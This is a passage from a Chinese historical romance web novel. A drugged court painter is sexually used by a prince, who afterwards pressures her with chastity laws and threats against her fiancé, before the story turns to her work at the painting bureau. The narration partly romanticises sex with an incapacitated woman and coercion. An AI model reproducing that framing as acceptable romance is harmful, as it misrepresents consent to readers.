可怜的御医急忙忙整衣蹿到了肃王营帐,只见黄时雨呼吸急促,状如高热,当下立即把脉。 他把脉的间隙银鹤已经赶到,接过宫婢的湿帕子为黄时雨擦脸擦脖颈。 韩意淮又不懂医术,只能干着急,耐心等御医诊断。 说时迟那时快,黄时雨倏然睁开双眸,当着众人的面一把薅住御医的胡须,骇得御医惨叫连连。 “梅娘,不得无礼……”韩意淮冷汗涔涔。 银鹤在宫婢的帮助下迅速扒开黄时雨的手,御医惊魂未定,大约是知道什么情况,“殿下,快,快多叫几个宫婢制住她。” 叫不了,肃王拢共就带了两个女子出行,带多了麻烦。 “那,那您亲手抓住她吧……”御医老脸通红,但见黄时雨又要扑自己,慌忙双手护住胸口往后跑。 韩意淮不明所以,走上前轻轻松松抓住了黄时雨。 只消一只手攥住她两只腕子即可。 黄时雨却像是一滩春水,嘤咛一声,融化在了他怀中。 韩意淮的脸颊腾地就红了。 当着这么多人的面,她这样叫,简直是要他的命,多不好意思。 御医以袖掩面道:“这个,这个,下官实在无能为力,只能殿下亲自来了。二位姑姑,且随我退下,给姑娘准备些膏药和汤药……” 韩意淮不亚于平地惊雷,作为男子哪能意会不出御医的言外之意。 如今梅娘在他怀中的声音与状态几乎就坐实了心中猜测。 “左大人,你不能走!”韩意淮的声音竟有丝颤抖,这事不能这样,否则明儿梅娘得闹死他。 御医恨不能跪下磕头,“殿下,这事儿下官不走也帮不了啊!” 银鹤已经与另一名宫婢跑了出去,哪里敢多看帐中一眼。 韩意淮喘着粗气扣紧黄时雨,防止她乱抓乱摸,“有没有降热的药先给她喝两碗,或者扔进水里。” 御医垂眸道:“殿下慎重,表面除热乃大忌,轻则导致血脉破裂,重则内脏出血,下官,呃,下官先告退了。” 唯恐明儿肃王反应过来,恼他瞧见了太多不该瞧见的春色,秋后算账。 韩意淮又不是什么坐怀不乱的君子,因为惹不起黄时雨才不敢再冒犯她,如今她主动“冒犯”他,不啻干柴引烈火。 他口干舌燥,一面死死抓住自己腰带,一面往后退,“你,你冷静一下,明儿你就会翻脸,我才不要这样……” 黄时雨两眼发直,气喘吁吁,那点子力气也只能原地着急,压根就奈何不了韩意淮分毫。 “水,水……”太多眼泪混合着汗珠低落。 韩意淮为她倒水,才倒了一半就被她夺走一饮而尽,然后当着他的面胡乱解衣服,“热,我快热死了,你,你走……” 想来她还有一点神志,竟是不想“伤害”他。 韩意淮怎么走,走了她就没命了。 “梅娘,你还能听见我说话不,我帮你好不好,可你也得答应我,用完了不许翻脸,嗯,梅娘……”他颤抖着将她揽入怀中。 黄时雨“噗”地吐了一口血。 “梅娘!”韩意淮以袖为她擦拭。 此般温柔用在此时此刻反倒像酷刑,她额头的汗越来越细密,滚落一串难捱的眼泪。 韩意淮无计可施,一颗心快要跳了出来,所承受的煎熬与痛苦并不亚于她。 他往后退了一步,梅娘就踉跄着往前走一步。 韩意淮用力攥紧了手心,一步一步往后退,梅娘就跟着他迈进了一层一层的鲛纱帷幔中。 如水的纱帐静谧须臾,陡然晃动起来。 黄时雨的啜泣愈来愈小声,转为了闷闷地轻哼。 枝头一朵洁白如雪的木芙蓉悄然绽放,夜风里颤颤,片片由白转红,每红一寸盛开一寸,当它完全绽放,世上便有了倾城的花靥。 黄时雨的脑子渐渐化成了浆糊。 迷蒙中惊涛拍岸,乌云滚滚,再无退路,忽然云缝中撕开一道口子,露出了一线天光。 韩意淮沐光垂下眼帘,噙住了她。 纱帐化作了袅袅轻烟,无风颠荡,缭乱飘散。 晃了半个时辰。 云未收,雨未歇。 她仿佛深渊的溺水之人,只能用力攀附那几欲将她撞碎的沉舟。 眼前一片模糊,头顶上方是急促呼吸的男子,周遭一切疯狂颠簸,炽热又窒息,唯有他悬在脖颈顺垂而下的护身符是冰凉的,随着那逐渐激烈的震荡,撞着她脸颊。 短暂的舒服令她得到缓解,闭目沉沉睡去。 没过多久,身子又开始晃荡起来,这次比上回更激烈。 她又累又麻,呢喃着不要了不要了。 韩意淮伏在她身上,“万一还有余毒就不好了,你躺着别动,我来……。” 她不知道还有没有余毒,却是不敢睁开眼,唯有闭紧双目,逃避。 天亮前,他似乎在为她上药,没过多久,黄时雨哑着嗓子哭了出声,不得不继续承受他,但这次她是清醒的,泪水从眼眶滚滚而落。 韩意淮在她身后紧紧拥住她,努力让自己冷静,“梅娘,梅娘,我娶你,【你现在阅读的是 】 60-70 第61章 想你 韩意淮仰颈闭目,感觉周身血液飞速地流,在沸腾的瞬间发出一声满足的长叹。 只恨不能死在她绮丽的裙下,死在她赐予的醉生梦死幻境里。 当一次次的满足与她纠缠在巅峰绽放烟花,她醉月芙蓉般的娇颜也在盛开,粉靥泛红,他想她一定也很舒服,因为他的卖力而舒服。 “梅娘,谢谢你,我好舒畅,好快意。”他短暂脱力,将半副重量压在她身上,亲了亲她的肩窝。 少年的额头沁出一层薄汗,挂在鸦黑的发间,晶莹剔透,每一滴都为她流淌。 韩意淮将女孩翻过来,虔诚地为她擦拭,又紧紧抱在怀中,一点点吻干她眼角的泪痕,修长洁白的手指轻轻揉着她的太阳穴。 他为她着迷,为能与她发生如此亲密又神奇的相融而兴奋。 哪怕他寸步难行,终究还是被她温柔地接纳了。 也接纳了他的疯狂与放纵。 她的身体,就是为他而生的。 不管灵魂还是血肉,他都想与她融为一体,不分离。 黄时雨微微侧过脸,流连她唇舌的气息极好闻,却不是她习惯之人的。 韩意淮咬了咬她倔强的小耳珠,软软韧韧。 极致的喜爱令他生出满腔温柔也生出了破坏的攻击性,既想一口吞了她又只敢轻轻地蹭蹭。 韩意淮将她抱进温暖馨香的浴桶中,她颤颤的白白的蜷在里侧,衬托的浴桶比平日更宽阔几许,两只小手一直用力攀着桶沿,仿佛只有这样才能躲开他的触碰。 虽然韩意淮没伺候过人沐浴,但在对待她时,用上十二分的耐心与温柔,仔仔细细擦洗着每一寸城池,以及被他欺负狠了的地方,如同擦拭一盏脆弱又剔透的琉璃宝灯,容不得半分马虎,半分手重。 韩意淮歪着头看她,柔声道:“梅娘,所谓男女居室,人之大伦,情有所钟,我们做了这样的事不过是顺应天性,你别害怕也不必觉得羞耻,我会保护你的,此后余生都对你负责,绝不白白占了你身子。” 黄时雨面色微白,调开视线,仿佛这样就可以不用面对。 韩意淮用一片比她身子还大的棉巾将她裹起,遮住这具布满了他疼爱痕迹的香躯,将她重新抱进帐中。 三魂七魄归位,黄时雨感觉火辣辣的痛。 韩意淮满脸冒着热气,“我帮你涂药,涂上就不痛了。” “不要碰我,我自己来。”黄时雨想起他先前涂着涂着就情不自禁,哪里还肯让他近身。 “好,我教你。”韩意淮倾身在她耳边“传道授业”。 黄时雨面红几欲滴血,又渐渐发白,死死咬着下唇。 韩意淮笑了笑,“还是我来吧,别怕,我轻轻待你……” 他的手指滚烫如火却又温柔如水,黄时雨失声惊呼,无奈地闭上眼,再次咬着唇。 韩意淮一眨不眨盯着她的表情。 喜欢她在他手中娇软无力的模样儿,想到昨夜癫狂之时将她抱到了桌上,烛台下,他就亢奋不已。 “殿下,两天前,我和简允璋定了亲,明年二月初十成婚。”黄时雨用力咽了咽干涩的喉咙,双手在被中不停哆嗦。 韩意淮置若罔闻,却骤然用力,提醒她仔细感受谁才是她的男人。 黄时雨浑身发抖,一动不动承接来自肃王的“惩罚”。 体能与力气的巨大悬殊注定无论做什么都是螳臂当车,反抗说不定还会给他增添“雅兴”。 她唯有安静又麻木地望着他。 韩意淮停了下来,垂眸一下一下擦着手指,又猛然将帕子团成一团,撩眼道:“婚前失贞不仅要被夫家休弃还得面临牢狱之灾,梅娘,除了我,你别无选择。” 他不想强迫她,也深以为她该懂事了,面对残忍的事实。 这种事,不应当他哀求她的,而是她来祈求他。 软硬兼施,软的不行,他便硬一硬。 黄时雨嗫嚅道:“不用你管。” “我偏要管,我还要亲自对简珣说你是我的,他若不识好歹,我就杀了他。” 他说“杀”时眼底竟真的有杀意。 “你敢动他,我一生一世都不会原谅你。”黄时雨梗着脖子。 韩意淮的神情几近扭曲,似是不敢相信自己的耳朵。 凝滞的帐中,凌乱被褥沾染了一片片红梅落花,年少的两人,相顾无言。 韩意淮败下阵,“梅娘,嫁给我吧,做我的王妃。你,是我的第一个女人。” 更令他没想到的是,他也是她的第一个男人。 “我不,我,我要回家。”黄时雨低头寻找自己的衣物,手忙脚乱穿上。 韩意淮窒了窒,“我早就派人去你家中知会了,以防她们情急之下报官。” 黄时雨一怔,紧张望向他。 韩意淮连忙解释道:“你别误会,我没有乱说,你在我这里发生的事保管不让外面的人知晓,我派去的人也只会说你在画署的舍馆陪闻大人。” 黄时雨幽幽道:“谢谢殿下代为周全。” 韩意淮抿了抿唇,道:“真要谢,便以身相许吧。” 黄时雨摇了摇头。 韩意淮情急道:“可是我已经得了你身子!” “在殿下眼里,失去贞洁,我就必须跟您,否则就是不守妇道对不对?” “才没有……”他嘴硬,因为说实话会得罪她。 黄时雨轻抬眼睫,许是含了泪光,那一瞬咄咄盈亮令人不敢直视,“我的第一次很重要,但往后余生的每一次也都重要,不管您得了我身子多少次,我也不是你想欺负就欺负的。” “不欺负。”韩意淮小声道,缩回了试图触碰她的手。 哪怕他与她已经做了三次,哪怕他将她里里外外摸透,她也不会自轻自贱! 黄时雨忍着不适跑下床,边后退边道:“亲事,我自己想办法退,与你没有任何关系,打死我也不会承认我们发生过什么!失身又如何,那我也不会委身你!” 她狠狠抹了把眼泪。 韩意淮却只听见了她要找简珣退亲,自动忽略她不愿委身自己,“好,咱俩的事儿可以从长计议,只要你不跟他就行。” 已经知事的少年人,尝到了独一无二的欢情,容不下任何人来分享。 他忍气吞声哄着她,以期她不那么伤心,倘若能哄软了她心肠,再赐他一点甜头就更好。 廿二当晚,黄莺枝左等右等不见本该下衙的妹妹回家就直觉不对。 却对家里新来的仆妇道:“忘了与你说晚上不必留饭二小姐,画署忙,她要留下当值。” 灶上娘子不疑有他,谨遵大小姐吩咐。 转过头,黄莺枝将琥珀拉至屋内,悄声道:“你找个借口去趟简府探探口风。” 琥珀心领神会,忍着惧意点点头,借口送二小姐为姑爷做的扇套与香雪居的丫鬟攀谈。 倘若二小姐在简府,丫鬟们必定会好奇问琥珀为何没跟在主子身边,但丫鬟们只与她拉家常,还悠闲地讨教针线活,琥珀的心口当下就凉半截。 一个才定了亲的女孩无故失踪,不管去报官还是报给简府,下场都不会好的。 不到万不得已之时,黄莺枝不敢贸然报官,将希望寄托于“侥幸”二字,万一梅娘真留在了画署呢,只是来不及告诉家人,明儿一早说不定就会出现。 黄莺枝与琥珀一夜无眠,倘若廿三清早再见不到梅娘,只能豁出去报官。 丢了名声总比丢了小命强。 次日天不亮画署还来人通传,所言与黄莺枝忖度的差不离,黄画员因公务在舍馆陪闻大人当值。 证实了心中猜测,黄莺枝才擦了擦额头虚汗,与琥珀对视一眼,再晚一步就报官了。 得亏她们沉得住气。 却也在心里憋满了气,打定主意要狠狠训斥梅娘一顿,这么重要的事也不早些派人传话,可知这一天一夜几乎要了姐姐的命。 负责捉拿丐婆的侍卫最终无功而返,严格地说也不算无功,至少带回了黄时雨的小毛驴。 命大的小毛驴竟还活着,不可谓不是奇迹。 丐婆受了那么重的伤,靠着一身诡诈手段,愣是逃过了追兵的围捕。 韩意淮为博美人一笑,除了官府的通缉令,又以私人名义下了江湖的赏金令,高达四百两黄金的悬赏,死活不论,一时间江湖波涛翻涌。 丐婆也算是捅了个大的篓子。 未时,他把这个好消息告诉黄时雨。 她精神不济,先前下了床没走几步腿软跌倒。 韩意淮将她抱回帐内,举手发了毒誓今天绝对不欺负她,才哄得她卸下一丝防备,睡去。 这一睡,足足睡了三个时辰。 待她养足了精神,身体恢复大半,韩意淮又将这个好消息告诉她,“不管花多少功夫我也要将那疯婆子捉拿归案,活着便任你处置,死了就丢进乱葬岗。” 丐婆毁了她安稳的人生,即便死了也改变不了什么,但黄时雨也不希望她活着。 “我不想再见到这个人了。”黄时雨垂眸道。 “好,抓到我便自行处理,再不让梅娘烦心。” “我想回家。” “嗯,我送你。” 韩意淮搀扶她起身,却被轻轻推开。 黄时雨仍旧不适,却也不至于让人搀扶,那药膏效果奇好,几个时辰前还灼痛的部位已经没有太大的感觉。 这日赶在保宁坊关坊门前,黄时雨回到了自己的二进宅院,家人都在等她。 姐姐全然不知她在外面惹下多大的祸,照旧关心她,问她饿不饿,累不累。 灶上娘子权当自家的画员大人没日没夜的辛劳养家,对此很是感动,听闻黄时雨饥饿,连忙生火煮了一大碗鸡汤面,面下还卧了一只荷包蛋。 黄时雨吃了几口却莫名难以下咽,便让柳儿端下去吃,柳儿胃口好又正在长身体,自是欢欢喜喜。 黄莺枝走进寝卧时,发现妹妹已经趴在软榻睡熟。 她将人喊醒,一面帮忙脱外衣一面道:“实在撑不住明儿告个假吧。” 妹妹满脸疲惫,仿佛遭了大罪。 “我没事,睡一觉便无大碍。”黄时雨慢慢道,兀自去了净房洗漱,发现贴身小衣沾了奇怪的液体,那味道似乎是肃王的,她白着脸丢进水盆胡乱搓洗,却因为蹲着又流了一些,她抱着膝盖埋首哭泣。 一炷香后,黄时雨低着头回到房中。 她吹了蜡烛,钻进姐姐的被窝,浑身发抖。 黄莺枝心里觉得不对劲,却依然镇定地攥了攥妹妹的手,“怎么了梅娘?不管什么事都跟姐姐说说,憋在心里一个劲害怕对身子不好。” “姐姐,我,我若是提出退亲,阿爹会不会打死我……” 黄莺枝缄默片刻道:“不会。” 黄时雨眼睛亮了亮。 “阿爹怎会舍得伤你分毫,只待明年二月初十将你绑上花轿,此后打不打你便是简允璋的事。” 黄时雨心冷成灰。 退亲,除非她死了,便是死,黄县令也得把她尸体送给简允璋。 廿四正常上衙,黄时雨来到皇城外,将玉符递给含光门守卫核实,再去画署应卯,今日的当值才算正式开始。 这位美貌的新画魁即便气色不佳,依然是来往同僚暗暗关注的存在。 不过有闻大人在,风气肃正,等闲男画员并不敢靠近女画员所在的廨所,大家也仅靠点卯时过过眼瘾。 几经打听,众人唏嘘。 美人儿已经定了亲,未婚夫乃大名鼎鼎的琅琊简氏,安国公的侄孙,今年大热的十六岁解元郎。 出身不够美貌来凑。 黄时雨成为许多人艳羡的幸运姑娘。 没有人觉得她会有烦恼会哭泣。 韩意淮不敢去她当值的地方添乱,只能捱到下衙时间,眼巴巴守在延禧门附近,甫一瞧见她牵着毛驴走出画署衙邸,立刻走过去,“梅娘,听说你们上官总是让你们临摹我的画儿,我教你好不好,不,我画给你看。” 黄时雨覆上面衣,唯恐被人认出,紧张道:“殿下,您走吧,别跟着我,待会出了含光门,什么人都能遇上。” “梅娘,我不想偷偷摸摸见你,我想你……” 他却被她含泪的目光所摄,生生吞下了日夜的思念。 “殿下不若让全世界都知晓我被你睡过,那样我便无处可躲,风言风语就能将我淹死,我阿爹一定也很高兴你对我负责。” 不管她想不想,只要利用舆情就能逼迫她就范。 直接逼迫吧,而不是现在这样,迟早都会被人发现。 韩意淮悲伤道:“我不会,梅娘,你知道我不会。” 他目送她牵着小毛驴朝着与他相反的方向而去。 看着她用袖子偷偷擦眼泪。 这个姑娘用实际行动警告了他,休想用“第一次”,“贞洁”这些词裹挟她,她的每一次都不是他想要就能要到的,除非用强。 但用强,他就会失去真正的梅娘。 为何世人只要求男人对女人负责,难道女人就不该对男人负责? 他也是第一次,她怎能如此薄情…… 第62章 相拥 日子平安无虞翻过两日,简允璋乘着碧空如洗的天色回京,每日潜心苦读,与老师研习学问。 身为男子汉除了为国为民报效朝廷,也应封妻荫子,建功立业。 他要为阿娘和梅娘挣一份更大的家业,子孙后代不必如他一般辛苦,抱金行于闹市。 今年南边与北边的田产铺面收成足有五万两,他与阿娘商议拿出一万两千两孝敬安国公府,再拿出八千两打点各处关节,每个人都拿到好处,又有安国公府这座铜墙铁壁,有心人也只能收回心。 换做普通的孤儿寡母,早就被四方分食殆尽。 此番回京,他差人将福泽、甜栗、蜜桔一齐送去了保宁坊。全是女人生活的宅院,没有机灵的小厮多少有些不便。 从前,他得找各种借口遮掩对梅娘的殷勤,现如今却可以坦然自若做这一切。 因为梅娘是他的未婚妻。 简珣起身透过书房的大窗凝望园中绿树红叶,手里把玩着一只精巧的扇套,丫鬟回禀此乃黄二小姐所赠。 只是所赠,并非亲手所绣。 她的手只会作画,哪里会绣什么花儿。 不过无所谓,简珣依然满心欢喜,梅娘的心意足以使他开心一整日。 按说姑娘家的嫁衣得自家准备,以琥珀的能力绝不比京师大绣庄的绣娘差,但双拳难敌四手,光靠她一个人时间略有些紧迫,程氏便让好友也就是阿珣婚事的全福人宁夫人帮忙周全。 宁夫人以自己的名义请了绣庄最好的五位绣娘配合琥珀准备嫁衣。 绕这么一圈子,就是为给未来儿媳做足脸面,程氏这个婆母在京师也算数得上号的仁慈宽厚了。 黄时雨一直都知道这位面冷心软的夫人是一个极好的人,因为她教养出简允璋那样端方的翩翩公子,明知简允璋花一千五百两买福泽,两千两买她,也从未深究。 因为夫人骨子里就是那种怜贫惜弱之人,对弱者有着天然的同情。 夫人或许无法帮助每一个受苦受难之人,但遇上了总会插手。 正因为有这样一位阿娘,简允璋才如此的善良温柔,而黄时雨与福泽摆脱了既定的悲惨命运。 想到自己将来要在这样的人家生活,黄时雨情不自禁憧憬,同时又深深愧疚。 摊上她这么一个媳妇,简允璋真倒霉。 可是她与他,在命运的漩涡中,都有自己的不得已。 黄时雨当值的差事除了整理画册,辅助闻大人备画案,承担各种庆典仪式中关于绘画的环节,还要提高自身,精进画艺。 作为画魁,比起普通画员晋升之路稍快些,闻大人的意思是观察她半年,不出意外的话就可升任为正九品祗候,服绿袍。 这么大饵料投下,年轻人干劲十足。 自从收到华山长的嘱托,闻大人并不像看起来那样冷漠淡然,事实上分外留心黄时雨的一言一行。 这是个非常细心又勤劳的姑娘,虽然有些儿不太清朗的传言,但她对于自己的差事从来都完成的无可挑剔,有她在的廨所,终日鲜花不断,气息怡人,干干净净,连带着当值时的心情都松快不少。 这是自男画员那里从未获得的体验。 男画员最多保持整洁干净,日日时令鲜花想都别想,哪怕院子里盛开一大片,也没人想着摘几朵整理好放在上官的花瓶。 不管闻大人承不承认,自从黄时雨在她手下办差,整个廨所都清香不少。 从前也不臭,每日也有人点燃熏炉,可就是少了点什么。 另外两名大小姐在差事上明显不如黄时雨细心,倒不是她们愚笨,而是她们没有底层人谨小慎微的意识。 姜意凝脾气火爆却是个凡事不入心之人,简单来说就是不会记仇,底色纯良。 蓝素心眼儿多,敏感又多疑,不过办差懂得人情世故,处事圆滑。 三个小姑娘各有优缺点,总的来说,闻大人挺满意。 今年的寒衣节,皇帝要在社坛上祭祀日月星辰众神,主持的官署照旧由司天台与礼部兼任。 看起来与画署不相干,但画署所承担的责任一点也不比司天台与礼部少。 而每年祭祀所用的众神图似乎都一样,实际年年换新。 因此司天台上个月就送来了神图原样,画署的人负责在熟绢上临摹。 神图长宽皆有严格规定,每一幅至少长八尺,往往需要两个人配合完成。 今年新进的画员填补了人手不够的缺陷,每日都将随同上官临摹神图。 闻大人最不耐烦与司天台的人打交道,常于背后讥讽他们是一群装神弄鬼的神汉神婆,靠危言耸听博取关注,什么危月燕冲月,紫微星暗淡,把一本《周易》读个一知半解便各个自命不凡,自诩上知天文下知地理,掌握天地乾坤运算规律,推演未来因果。 上官不喜欢的,下官自然也不喜欢,蓝素附和道:“我阿爹也最不喜同他们打交道,神神叨叨的,一个不合心意便算卦卜吉凶,好的坏的全凭他们自个儿一张嘴,赖不赖你也看他们心情。” 偏皇帝深信不疑,但抱怨皇帝这种话无人敢说,只能骂司天台。 倒也不是本朝皇帝昏聩,历来上位者皆如此。 上位者相信天象改变和人事变更息息相关,不仅推算节气、制定历法需要司天台,占定吉凶、土木兴造、军队征伐、国喜国丧更离不开司天台。 其实和民间普通百姓差不多,谁家拆迁造屋,红白之事,以及远行什么不都会请个风水先生或者神婆问问吉凶。 不专业的称之为神啊仙的,专业的称之为相士。 真正的相士深谙《周易》每一个字的玄妙,精通六十四卦,推演乾坤未来。 提及《周易》就不得不提它历来饱受儒家推崇,被尊为大道之源,认为其前后相因,百家之学兴,发展至本朝已经成为国子监必修的一门功课。 像简珣这些重科举走仕途的少年郎也得熟读《周易》,即便科举不考,先生还是会考的,达不到良结不了业。 司天台的人靠《周易》吃饭,奉若神旨也能理解,但司天台有人拿着鸡毛当令箭刁难画署,就与闻大人结下了梁子,两边若非公务往来,几次险些掐起来。 闻大人与蓝素闲聊之时,黄时雨则乖巧地蹲在一旁调色,实则一双小耳朵早就支棱起,听同僚七嘴八舌讲古。 这些趣事信息量大,不管真假听进去不一定是坏事。 而她对京中事物了解不如大家全面,便尽量少说多听。 姜意凝总能说些出人意料的话,“要不是二十几年前春官正犯了事,司天台的人比阁老还威风呢。” 黄时雨诧异的目光投向她,闻大人以手掩唇,轻咳一声,蓝素用手肘拐了拐她,“讲古便好好讲古,你莫要扯些天家忌讳。” 要问春官正所犯何事,竟成了天家忌讳,怕是没几个人敢正面回答,更不会有人去皇上跟前提,除非活腻了。 当年司天台的春官正,身为春夏秋冬中五官中唯一的女子,那是真有几分本事,被尊为天下第一相士,做相士的都是孤寡命,所以春官正九族也就她一个人,导致她做事颇有些光脚不怕穿鞋的。 那时的皇帝还是太子,她直言皇帝非长寿之相不宜继承大统,你就说狂不狂? 皇帝继位第一件事就是撸了春官正以及督管不严的保章正,杀得个司天台血流成河。 以至现在偶尔冒出个把谋逆小贼还会拿皇帝无福说事。 由此可以看出,上位者对司天台青睐的前提是利他,不论个人信仰还是政治目的皆有利于他才行,不利就直接杀了,换一批会说话的。 这些辛秘,现在的黄时雨暂且不大清楚,不过很快就会明白,因为简珣会给她说。举凡她想听的,不论稗史还是传记,他都会细致讲解,令她耳目一新,常常发现一些旁人难以注意的角度。 闻大人不想继续这个话题,便命蓝素和姜意凝好好作画,莫要黄时雨一个人忙活。 姜意凝吐了吐舌尖,连忙上前帮黄时雨调墨,黄时雨浅笑,并不与同僚计较锱铢,蓝素则恹恹道一声“是”,来到黄时雨跟前蹲下。 离得近了,她发现黄时雨的睫毛又黑又长,怨不得离得远时总觉得她的眼睛比旁人清晰明亮,似是有一道无形的线勾勒过。 她有些烦闷,端起调色的白瓷盘移去距黄时雨远一些的地方盘腿而坐。 黄时雨不以为意,专心忙手里的差事。 严艺学敲了敲廨所隔扇,引起闻大人注意,这才迈着方步踱了进来,“闻大人,小闻大人已经到了画署,我那边人手不够,跟你借两个姑娘一用。” 借去为画阁做半天苦力,是真的要干活。 而往往要干活的事,多半少不了黄时雨,今儿却太阳打西边出来,蓝素主动请缨,顶替了她。 黄时雨要不是清楚其为人无利不起早,几乎就要感动了。 但是不管样,蓝素替代她,她便得了清闲,那就是好事一桩,心底兀自偷乐。 说起小闻大人,就不得不再提一下今年的画魁之位,在黄时雨与另一名男考生之间盘旋,考官举棋不定,争论不休。 陆宴推崇黄时雨,另一大画师推崇男考生,而闻遇私心也更看好男考生,可从实力上来看黄时雨又并不逊色,倘若就此否定黄时雨,连闻遇自己都觉得有点儿受到主观判断的影响,私德归私德,实力归实力,最终他妥协了。 黄时雨赢下画魁,却也仅仅表面赢下,实则又没完全赢,因男考生得到了实打实的好处——闻遇关门弟子。 那才是今年真正的赢家。 想到此,黄时雨目光黯了黯,缓缓垂下,下巴拄在膝上,调色的手有一下没一下划着色盘,不过她向来是个知足的姑娘,很快又因不用去画阁做苦力而感到满足。 她乖巧地陪闻大人画了一整天神图。 “美差”被蓝素抢走非但没有半句怨言,反倒安安静静的,在廨所一待便是一天,这是个坐得住的姑娘。 闻大人喜欢她的乖巧,又信任友人华山长,便耐心指点黄时雨工笔人物画,以及运笔的力道,黄时雨大为感动。 闻大人含笑,没想到小丫头悟性极高,举一反三,画得人物眼睛分外传神。 临近下衙,闻大人搁笔休息,黄时雨便起身扫了扫膝盖,先去净手,净完手才为闻大人烹茶。 闻大人笑道:“你知不知去画阁其实也没那么苦,半天而已,剩下半天便十足清闲,还能得到小闻大人的指点。” 黄时雨不争不抢也有可能是因为不懂。 不意黄时雨柔柔一笑,音色清丽温婉,“一饮一啄,莫非前定,失之东隅,收之桑榆,我得到了闻大人亲手指点的工笔画,这个月都无憾了。” 闻大人“哦”了声,问道:“为何只是这个月?” 黄时雨轻声细语道:“因为下个月还想学。” 闻大人微微挑了挑眉。 小丫头也有自己的心思,非常直白地袒露出来。 黄时雨是个上衙积极,下衙同样积极之人。 时辰一到,便牵了自己的小毛驴匆匆离去,一刻也不敢耽搁。 今日肃王没有出现,黄时雨松了一口气。 每天都去见姑娘家,只会适得其反。银鹤告诉肃王殿下,对待黄画员这样的姑娘,得学会用一点狡猾的小手段,非但不能黏她,还要刻意保持一点距离。 “我在泽禾与她距离够远吧,怎不见有效果?”韩意淮随口指出漏洞。 银鹤啧了声,“那时您又没想娶她。” 韩意淮沉默了。 人,得为自己的轻率付出代价。 如今他想娶,却收获不了梅娘的感动,因为在她眼里,简珣比他更早,而他的“娶”不过是因为她考上了画魁,父亲升了官,“配得上”罢了,没甚好感动的。 他总是慢简珣一步。 银鹤道:“殿下不必伤心,黄画员不了解宗亲的规矩,您不能娶她,便是现在娶也困难重重,奴婢相信您是真心的。” 动了真心的肃王殿下,有点儿活该也有点可怜。 韩意淮低声道:“她不了解,也不屑了解的,因为她从未想过嫁我。” 不管是情人,侧妃,王妃,都是他的一厢情愿。 这个姑娘从未想从他手里捞到一点好处。 她最开心的事就是他带着她报名了画署,还请她吃了一顿好吃的,那就足以她感恩戴德。 倘若他没伤她的心,或许她与他还是朋友,最普通的那种。 银鹤打破了沉默,“殿下,您观察那么久,可曾见简公子黏她?” 韩意淮心里咯噔一声。 简珣从不黏人,试炼期间连接她回简府都是严格遵照旬假,就连亲自接送也不多见,如今回京更未曾去皇城附近见她。 这两个人终日各忙各的。 银鹤讳莫如深笑了笑,“这便是那简公子的高明之处。他不黏她,但见了她必定热情如火,不见她也不耽误他遣人流水似的往保宁坊送东西,不一定贵重但一定是黄画员喜欢或需要的。” 简公子不一定是风月高手,但一定是个天生擅于掌控人心节奏的高手。 殿下向前走两步,黄画员就会后退三步,彼此的距离很难缩短,唯有先哄着黄画员忘了后退,再不动声色往前,等她有所察觉,人却已经落入殿下怀中,逃不掉。 这个法子与简允璋的有着异曲同工之妙。 银鹤勾唇一笑。殿下非常聪明,只是少一个近水楼台的身份,又是头一回动心,将十分的爱意表达出十分,完全落了下乘,以至后面再高明的弥补都稍显后劲不足。 “殿下,您一定要藏好十分的爱意,只表达三分需要即可,实在不行五分也行。感情之事,本就是一场男人与女人的博弈,您别把她当女孩子,而是最厉害的对手。” 韩意淮慢慢道:“这样她就会喜欢我吗?” 银鹤摇了摇头,“不一定,但有很大的概率比现在喜欢您。” 韩意淮点了点头。 人生的功课那么多,感情也是其中一项。 门门功课都是优等的肃王殿下,不相信自己的感情结不了业,从小到大遇到难题,他都能完美攻克。 这次,也不会例外。 定亲又怎样,成婚又如何,便是二婚他也敢抢。 这厢,黄时雨有惊无险出了含光门,斜刺里伸来一只凝白修长的手,抓住小毛驴的辔头。 简珣嘴角不自觉上扬,道:“我都盯着你那么久,怎么一点感应都无。” 黄时雨茫然望向他,眨了眨眼,又调开视线,“我,我没瞧见。” 简珣以为她累了才这般无精打采,便将小毛驴丢给下人,兀自牵着她的手,边走边道:“梅娘,我送你回家。” 坐马车,慢悠悠地走回保宁坊,比骑着小毛驴安适。 黄时雨轻轻咽了下,随他登上车。 上了车,他就不装翩翩公子,搂着她,亲亲额头,爱怜不已,“我算了下,你下回小雪旬假,正好妆盛阁又出新样式,我让人上门,咱俩一起挑首饰好不好?” “我用不上,每天要戴乌纱帽上衙。”黄时雨缩在他怀中,脑中却在想如何将要说的话没有痛苦的表达。 简珣拉开稍许距离,与她视线相抵,“呆瓜,成亲又不用戴乌纱帽,你不想做个漂亮的新娘子么?” 黄时雨缓缓垂下眼睫,“我们,真的要成亲吗?” 简珣被她的傻话气笑,“你说呢?” 黄时雨几度欲言又止,只差一点就将“退亲”的蠢话说出。 说出来又怎样? 退不掉。 怎可能退。 除非发生在定亲前。 除非她将自己婚前失贞闹得人尽皆知。 这个姑娘拼尽全力才拥有想要的一切。 在画署拥有立足之地,还有光明的未来。 黄时雨觉得有点冷,垂首任由简珣紧紧相拥,汲取着他身上灼热的气息,可还是听见了自己上下牙齿打架的声响。 简珣解下披风裹住她,“明儿天更冷,多穿些。” 第63章 同尘 女孩子天性爱美,家里的堂姐妹那么冷的天儿宁愿捧着汤婆子,再让左右丫鬟提着小暖炉也不肯多穿几件厚衣裳,唯恐失了楚楚纤弱之态。 简珣误解了黄时雨的“冷”,翻着她袖口检查,穿得果然不多,怜爱的同时又觉得女孩子很有趣,不,不是女孩子有趣,是梅娘有趣。 “你就像小猫儿,谁会觉得圆滚滚毛绒绒的猫儿丑,我就喜欢胖梅娘,你莫要学外面的姑娘折腾自己身子,把小脸冻的发青发紫,哪里好看。” 黄时雨嗫嚅道:“京师早晚变化过快,是我一时大意才未添衣。” 简珣嗯了声,相信她不是傻姑娘,“待下过雪我去给你打两张白狐皮子做褙子,又暖和又好看。” 黄时雨连忙摇头,“不要,我不要。” “好,那我送未来娘子。” 黄时雨:“……” 简珣挑眉往后倚靠在引枕上,被他抱在腿上的梅娘随之倾斜几乎躺伏他怀中。 黄时雨情急挣扎,可她那点子力气三两下就被他牢牢按住。 简珣面色如常道:“摸哪儿呢,我可是好人家的郎君,你莫要动手动脚……” 可是女孩子面皮薄,被他戏谑上一句竟是哭了。 简珣连忙正襟危坐,“这是怎么了,说不过便哭,你现在是益发不行了。” 黄时雨轻声道:“我不要坐在你腿上。” 如今她知了事,不再单纯,再看简允璋那些亲昵的小动作,黝黑发烫的眼眸,以及与她独处时身体的反应,就什么都懂了。 从前他还会掩饰,自从定了亲就逐渐放肆。 只要想到他也会像肃王那样对她,她就六神无主。 